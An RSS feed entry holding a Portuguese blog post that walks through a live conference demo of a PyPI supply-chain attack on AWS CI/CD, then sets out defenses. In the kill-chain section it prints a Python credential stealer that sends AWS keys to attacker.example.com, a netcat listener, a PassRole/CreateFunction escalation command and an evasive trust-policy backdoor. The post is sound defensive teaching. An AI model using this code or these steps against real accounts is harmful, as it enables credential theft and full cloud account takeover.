<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Supply-Chain on Café Com Cloud</title><link>https://blog.cafecomcloud.com.br/pt-br/tags/supply-chain/</link><description>Recent content in Supply-Chain on Café Com Cloud</description><generator>Hugo -- gohugo.io</generator><language>pt-br</language><lastBuildDate>Mon, 29 Jun 2026 09:00:00 -0300</lastBuildDate><atom:link href="https://blog.cafecomcloud.com.br/pt-br/tags/supply-chain/index.xml" rel="self" type="application/rss+xml"/><item><title>De pip install a Root: anatomia de um ataque de supply chain na AWS</title><link>https://blog.cafecomcloud.com.br/pt-br/2026/06/29/de-pip-install-a-root/</link><pubDate>Mon, 29 Jun 2026 09:00:00 -0300</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2026/06/29/de-pip-install-a-root/</guid><description>&lt;p&gt;A cena é familiar: você adiciona uma dependência no &lt;code&gt;requirements.txt&lt;/code&gt; do seu pipeline de CI/CD, roda &lt;code&gt;pip install&lt;/code&gt;, e o instalador termina sem warnings, com todas as dependências resolvidas. Cinco minutos depois, alguém na internet está autenticado na sua conta AWS, montou uma Lambda com permissões administrativas e fez dump da tabela de PII de clientes, e você não rodou mais nada nesse intervalo além daquele único &lt;code&gt;pip install&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Eu mostrei exatamente isso ao vivo no AWS Community Day Brasil 2026 no último sábado 27 de junho. O evento foi sensacional, muito bem organizado e fiquei bem feliz por ver tantas pessoas querendo ganhar conhecimento em AWS. Este post é o passo a passo do ataque e o passo a passo da defesa.&lt;/p&gt;
&lt;h2 id="por-que-isso-importa"&gt;Por que isso importa
&lt;/h2&gt;&lt;p&gt;Ataques de supply chain têm crescido ano sobre ano com regularidade publicada por relatórios da indústria, e o incidente do LiteLLM em março de 2026 é um exemplo público recente que ilustra o padrão: o pacote &lt;code&gt;litellm&lt;/code&gt; no PyPI foi comprometido durante uma janela de aproximadamente cinco horas, com um credential stealer publicado em duas versões maliciosas (&lt;code&gt;1.82.7&lt;/code&gt; e &lt;code&gt;1.82.8&lt;/code&gt;) que executavam no momento do &lt;code&gt;import litellm&lt;/code&gt;, vazando chaves AWS, chaves SSH e tokens de orquestração para infraestrutura controlada pelos atacantes em todos os ambientes que fizeram &lt;code&gt;pip install litellm&lt;/code&gt; durante a janela sem version pinning. A própria LiteLLM publicou disclosure do incidente em &lt;code&gt;docs.litellm.ai/blog/security-update-march-2026&lt;/code&gt; com IoCs documentados e janela de comprometimento confirmada.&lt;/p&gt;
&lt;p&gt;O detalhe que costuma passar batido nessa categoria de ataque é que o alvo são identidades de CI/CD especificamente, não as credenciais de aplicação em produção. CI/CD é onde estão as identidades mais privilegiadas do ambiente, porque pipelines de deploy precisam criar Lambdas, atualizar policies e fazer PassRole para uma variedade grande de roles, o que dá a essas identidades um IAM access mais largo do que qualquer aplicação em produção. Ao mesmo tempo, esses mesmos pipelines rodam código de terceiros (pacotes do PyPI, do npm) de forma rotineira como parte do build, o que cria a superfície de ataque exata: privilégio alto combinado com execução de código não auditado.&lt;/p&gt;
&lt;p&gt;A função IAM que processa o seu deploy provavelmente tem &lt;code&gt;iam:PassRole&lt;/code&gt; em &lt;code&gt;Resource: *&lt;/code&gt; e &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;, porque a alternativa de mapear cada PassRole específico que algum deploy futuro pode precisar é trabalhosa e raramente é feita corretamente em pipelines maduros. Se um pacote malicioso conseguir executar dentro dessa função, ele herda essas permissões e usa elas a favor dele, o que significa que você acabou de dar root para alguém que nunca interagiu diretamente com a sua infraestrutura.&lt;/p&gt;
&lt;p&gt;A diferença pra outros tipos de breach é que aqui você não foi hackeado por um atacante externo que descobriu uma vulnerabilidade na sua aplicação. Você instalou voluntariamente o seu próprio compromisso, com &lt;code&gt;pip install&lt;/code&gt;, executando o exato mesmo comando que vai rodar mais cem vezes nos próximos meses sem nunca disparar uma única revisão.&lt;/p&gt;
&lt;h2 id="a-kill-chain-ao-vivo"&gt;A kill chain ao vivo
&lt;/h2&gt;&lt;p&gt;Na demo eu rodei a cadeia completa em três terminais coloridos lado a lado: vítima em verde, atacante em vermelho, defensor em ciano. Os oito passos abaixo seguem a ordem cronológica da execução, com o detalhe técnico do que acontece em cada um.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Vítima instala um pacote.&lt;/strong&gt; O pacote chamado &lt;code&gt;aws_lambda_utils_helpers&lt;/code&gt; parece um helper utilitário para funções Lambda, com nome plausível o suficiente para passar despercebido em uma code review de dependências:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install aws_lambda_utils_helpers
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;A instalação termina sem warnings, scanners de pacotes baseados em assinaturas conhecidas não detectam nada porque o pacote é novo o suficiente para não ter sido catalogado ainda, e o &lt;code&gt;setup.py&lt;/code&gt; não contém nada visivelmente malicioso para quem fizer uma inspeção rápida.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. O código importa o módulo.&lt;/strong&gt; Quando a aplicação faz &lt;code&gt;from lambda_helpers import format_response&lt;/code&gt; durante a execução real (em uma Lambda, em um container ECS, ou no runner de CI/CD), o Python executa o &lt;code&gt;__init__.py&lt;/code&gt; do pacote antes de devolver o módulo importado, e é nesse momento que o payload é executado, não durante o &lt;code&gt;pip install&lt;/code&gt; original, que apenas copia arquivos para o filesystem sem invocar nenhum código de aplicação.&lt;/p&gt;
&lt;p&gt;O conteúdo do &lt;code&gt;__init__.py&lt;/code&gt; em uma versão simplificada para o post:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;threading&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_exfil&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_ACCESS_KEY_ID&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;secret&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_SECRET_ACCESS_KEY&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;token&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_SESSION_TOKEN&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;attacker.example.com&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;_exfil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;A escolha de uma thread daemon é deliberada, porque o processo principal segue normalmente, a aplicação responde com latência esperada e nenhum efeito observável aparece nos logs da Lambda, enquanto as credenciais vazam em paralelo por TCP raw para o endpoint controlado pelo atacante.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. As variáveis de ambiente já estão lá.&lt;/strong&gt; Em toda Lambda, todo container ECS, todo deploy runner de CI/CD, as credenciais STS estão expostas como variáveis de ambiente porque é a forma padrão que o SDK e o CLI da AWS consomem credenciais nesses contextos. O pacote malicioso só precisa ler &lt;code&gt;os.environ&lt;/code&gt;, sem necessidade de explorar vulnerabilidade no host nem de escalar privilégio no nível do sistema operacional, porque as credenciais já estão entregues pelo runtime exatamente no formato que o código de exfiltração precisa.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Atacante valida o que recebeu.&lt;/strong&gt; Do lado do atacante, um &lt;code&gt;nc -l 4444&lt;/code&gt; captura o JSON que chega pelo socket, e o primeiro reflex é rodar &lt;code&gt;aws sts get-caller-identity&lt;/code&gt; com as credenciais capturadas, confirmando que está autenticado como &lt;code&gt;cicd-deploy-role&lt;/code&gt; e validando que o token STS ainda está ativo dentro do TTL de uma hora antes de prosseguir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Reconhecimento.&lt;/strong&gt; O atacante roda enumeração para mapear o que essa identidade pode fazer: quais Lambda functions já existem, quais roles têm permissões administrativas, e quais dessas roles confiam em &lt;code&gt;lambda.amazonaws.com&lt;/code&gt; no trust policy e portanto podem ser executadas via Lambda. Um padrão muito comum em contas de produção é existir pelo menos uma role legada com AdministratorAccess que confia em Lambda, geralmente criada para algum projeto antigo ou em algum momento em que alguém precisou debugar algo &amp;ldquo;rápido&amp;rdquo; e nunca foi removida depois. Vou chamar essa role de &lt;code&gt;data-pipeline-role&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. PassRole + CreateFunction = admin.&lt;/strong&gt; O CI/CD identity tem &lt;code&gt;iam:PassRole on *&lt;/code&gt; porque pipelines de deploy precisam fazer PassRole para Lambdas variadas, e tem &lt;code&gt;lambda:CreateFunction&lt;/code&gt; pela mesma razão. O atacante combina os dois em uma única chamada que cria uma Lambda nova passando a &lt;code&gt;data-pipeline-role&lt;/code&gt; como execution role:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name exfil &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --role arn:aws:iam::123456789012:role/data-pipeline-role &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --runtime python3.12 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --handler index.handler &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://payload.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;A Lambda agora executa como &lt;code&gt;data-pipeline-role&lt;/code&gt;, que carrega AdministratorAccess via trust policy de Lambda, e invocar a função dispara o payload do atacante com permissões totais na conta AWS. Em menos de 30 segundos depois do import malicioso, o atacante tem o equivalente operacional a admin na conta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. Smash and grab.&lt;/strong&gt; O payload da Lambda escaneia a tabela DynamoDB de clientes e dumpa as linhas de PII de volta para o endpoint do atacante. Na demo do Community Day eu mostrei 8 registros, mas o mesmo código funciona com 8 milhões, dado que a Lambda paga pelo seu próprio compute e o atacante não usa nem um byte de quota da conta dele para o processamento. Cinco minutos do &lt;code&gt;pip install&lt;/code&gt; original até as linhas de PII saindo da sua conta AWS pelo socket de exfiltração.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;8. Persistência.&lt;/strong&gt; O atacante sabe que as credenciais STS de CI/CD têm TTL de uma hora e que daqui a pouco ele perde acesso pela rotação natural do token, então enquanto ainda tem as credenciais de CI/CD ativas (que carregam &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt; no policy, exatamente a permissão que o passo 6 não chegou a usar), ele edita o trust policy da &lt;code&gt;data-pipeline-role&lt;/code&gt; para confiar em uma role que ele controla, que pode ser uma role em uma conta dele ou, no padrão mais sofisticado, uma role same-account com uma &lt;code&gt;sts:ExternalId&lt;/code&gt; condition específica. Quando as credenciais originais expirarem pela rotação, o backdoor continua plantado, e ele consegue voltar pela porta dos fundos assumindo essa role-de-trás a qualquer momento futuro.&lt;/p&gt;
&lt;p&gt;A escolha de same-account com ExternalId condition é deliberada para evitar detecção, porque detectores de &amp;ldquo;external trust&amp;rdquo; como o AWS Access Analyzer disparam alerta quando uma role passa a confiar em um principal de outra conta ou em &lt;code&gt;*&lt;/code&gt;, mas trust de same-account com Principal específico e ExternalId condition passa direto pelos heurísticos desses scanners. Você não vê alarme no console, o time de segurança não recebe ticket automático, e a persistência fica plantada esperando o atacante voltar quando quiser.&lt;/p&gt;
&lt;h2 id="três-camadas-de-defesa"&gt;Três camadas de defesa
&lt;/h2&gt;&lt;p&gt;Nenhuma das camadas abaixo bloqueia 100% dos ataques sozinha, mas implementadas em conjunto elas bloqueiam algo em torno de 90% dos ataques desse padrão específico. Eu listo na ordem do mais cedo no kill chain para o mais tarde, porque o ROI da defesa cai conforme você atrasa a detecção dentro da cadeia.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Camada 1: higiene de supply chain.&lt;/strong&gt; O ataque só funciona se o pacote malicioso entrar na sua build, então a primeira camada controla exatamente o que entra:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cooldowns em pacotes novos&lt;/strong&gt;, com versões publicadas há menos de N dias (eu uso 7 como default) bloqueadas no seu proxy interno de pacotes (Nexus, Artifactory, ou AWS CodeArtifact), porque atacantes precisam que o pacote seja instalado rapidamente depois do compromise para capturar o máximo de credenciais antes do PyPI remover o pacote do registry. Um cooldown de uma semana derrota a janela de oportunidade desses ataques.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pin de versão estrito&lt;/strong&gt;, com &lt;code&gt;aws_lambda_utils_helpers==1.2.3&lt;/code&gt; em vez de &lt;code&gt;aws_lambda_utils_helpers&amp;gt;=1.2.0&lt;/code&gt;, combinado com hash check no &lt;code&gt;requirements.txt&lt;/code&gt; ou no equivalente do seu gerenciador (Poetry lock, package-lock.json, etc.), garantindo que o build de hoje vai consumir exatamente o mesmo pacote que o build de ontem em vez de aceitar silenciosamente uma versão nova publicada nesse meio tempo.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit dos imports recentes&lt;/strong&gt;, que não é review do que está no &lt;code&gt;requirements.txt&lt;/code&gt; há anos (o catálogo histórico), mas review do que entrou no &lt;code&gt;requirements.txt&lt;/code&gt; semana passada, quem adicionou, e por quê. A maior parte do risco está concentrada nos imports novos, não nos imports antigos que já passaram por múltiplos builds e múltiplos olhos.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Camada 2: identity hardening.&lt;/strong&gt; Se o pacote malicioso já está rodando dentro do seu Lambda ou container CI, a defesa precisa ser IAM, e foca em duas mudanças específicas no policy do CI/CD identity:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escope &lt;code&gt;iam:PassRole&lt;/code&gt;&lt;/strong&gt; para um conjunto fechado de roles seguras em vez de &lt;code&gt;Resource: *&lt;/code&gt;, idealmente uma role única (&lt;code&gt;cicd-lambda-safe-role&lt;/code&gt;) que carrega apenas as permissões mínimas necessárias para execução de Lambdas de aplicação. Com PassRole escopado dessa forma, a &lt;code&gt;data-pipeline-role&lt;/code&gt; (que tem AdministratorAccess via legado) simplesmente não está no conjunto de roles que o atacante pode passar para uma função Lambda nova, e a escalada para admin falha com &lt;code&gt;AccessDenied&lt;/code&gt; no momento do &lt;code&gt;CreateFunction&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remova &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; do policy do CI/CD, porque pipelines legítimos quase nunca precisam modificar trust policies de roles existentes. Eles criam roles novas, sim, mas modificar trust de uma role que já existe é uma operação rara e suspeita por padrão, e quando você remove essa permissão a persistência via backdoor de trust policy quebra no passo 8 da cadeia.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Essas duas mudanças no JSON do policy do CI/CD quebram o kill chain inteiro a partir do passo 4: PassRole escopado bloqueia a escalada para admin no momento de criar a Lambda exfiltradora, e UpdateAssumeRolePolicy removido bloqueia a persistência por backdoor. O atacante ainda consegue rodar a exfiltração inicial de credenciais (passos 1 a 4 da cadeia), mas perde a capacidade de transformar isso em comprometimento total da conta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Camada 3: runtime detection.&lt;/strong&gt; Mesmo com as duas camadas anteriores aplicadas, você não deve confiar que o policy está perfeitamente escrito, e portanto monitora a execução real:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CloudTrail e Athena&lt;/strong&gt; (ou o equivalente da sua stack de observabilidade) com alarme em &lt;code&gt;CreateFunction&lt;/code&gt; ou &lt;code&gt;UpdateFunctionConfiguration&lt;/code&gt; chamado por uma identidade de CI/CD em produção fora da janela esperada de deploy. Em uma conta saudável, esses eventos têm frequência baixa e perfil temporal previsível, então qualquer chamada fora desse perfil tem sinal alto e merece investigação imediata.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alarme em &lt;code&gt;UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; sem exceção. Esse evento é raríssimo em uma conta de produção bem operada, e qualquer ocorrência merece olhada humana imediata mesmo quando vem de uma identidade conhecida, porque é exatamente o evento que sinaliza tentativa de persistência por backdoor de trust policy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network egress monitoring&lt;/strong&gt; no nível de Lambda Functions e ECS tasks, porque conexões TCP raw saindo para IPs não-AWS são suspeitas por padrão. Ferramentas como AWS Network Firewall ou tooling de DPI no VPC permitem alarmar ou bloquear esse padrão antes que as credenciais saiam efetivamente do perímetro.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="você-já-foi-comprometido"&gt;Você já foi comprometido?
&lt;/h2&gt;&lt;p&gt;Se você está lendo isso e suspeita que pode ter sido afetado por um ataque parecido nos últimos meses, três queries imediatas pra rodar no CloudTrail antes de continuar: (1) chamadas de &lt;code&gt;iam:CreateFunction&lt;/code&gt; ou &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt; saindo do seu CI/CD identity fora da janela de deploy esperada nos últimos 90 dias, (2) &lt;code&gt;sts:AssumeRole&lt;/code&gt; recente vindo de IPs fora dos ranges AWS conhecidos, e (3) modificações em trust policy de roles que carregam permissões administrativas. Qualquer um desses três sinais é razão para acionar o time de segurança e rotacionar credenciais antes de fazer qualquer outra coisa.&lt;/p&gt;
&lt;h2 id="três-ações-pra-segunda-feira"&gt;Três ações pra segunda-feira
&lt;/h2&gt;&lt;p&gt;Você terminou de ler o post, e o post só tem valor real se você fizer alguma coisa concreta com ele. Aqui estão três ações que você pode executar na segunda-feira de manhã:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Liste as roles que têm &lt;code&gt;iam:PassRole&lt;/code&gt; com &lt;code&gt;Resource: *&lt;/code&gt;&lt;/strong&gt; usando a sua ferramenta preferida (AWS CLI, Steampipe, CloudQuery, Access Analyzer, ou o que sua organização padronizou para inventário de IAM). Você provavelmente vai descobrir que mais de uma role tem essa permissão tão aberta, e a recomendação é começar pelas identidades de CI/CD porque são as que mais expõem você ao padrão de ataque descrito neste post.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Liste as roles que têm &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; com a mesma ferramenta, e para cada uma delas faça a pergunta direta: essa role realmente precisa dessa permissão em produção, ou ela foi concedida em algum momento por conveniência e nunca foi reavaliada depois? A resposta correta para quase todas é &amp;ldquo;não precisa&amp;rdquo;, e a ação correspondente é remover.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Audita os pacotes que entraram no seu &lt;code&gt;requirements.txt&lt;/code&gt; ou no &lt;code&gt;package.json&lt;/code&gt; nos últimos 30 dias&lt;/strong&gt;, e para cada pacote novo responda: foi publicado quando? Por qual autor? O autor tem outras publicações antes desta? O pacote tem versões anteriores históricas, ou é versão única recente sem histórico de releases? Pacotes que se encaixam no perfil de &amp;ldquo;versão única, recente, autor sem histórico&amp;rdquo; merecem investigação manual cuidadosa antes de você aprovar o próximo build com eles incluídos no requirements.&lt;/p&gt;
&lt;p&gt;O trabalho total fica em torno de três horas, considerando que você gasta uma hora em cada ação acima. Custo: três horas de tempo de engenharia. Proteção: 90%+ dos ataques de supply chain do formato descrito neste post bloqueados estruturalmente. É provavelmente o melhor ROI de segurança que você consegue produzir esse mês com o tempo de engenharia disponível na sua agenda.&lt;/p&gt;
&lt;h2 id="slides-e-demo"&gt;Slides e demo
&lt;/h2&gt;&lt;p&gt;A apresentação completa com os 11 slides e a demo ao vivo dos três terminais está disponível como deck navegável: &lt;a class="link" href="https://blog.cafecomcloud.com.br/decks/de-pip-install-a-root/" &gt;Deck completo da apresentação&lt;/a&gt;. Use as setas do teclado para navegar entre slides, e a tecla &lt;code&gt;F&lt;/code&gt; para fullscreen.&lt;/p&gt;
&lt;p&gt;Até a próxima,
Leo&lt;/p&gt;</description></item></channel></rss>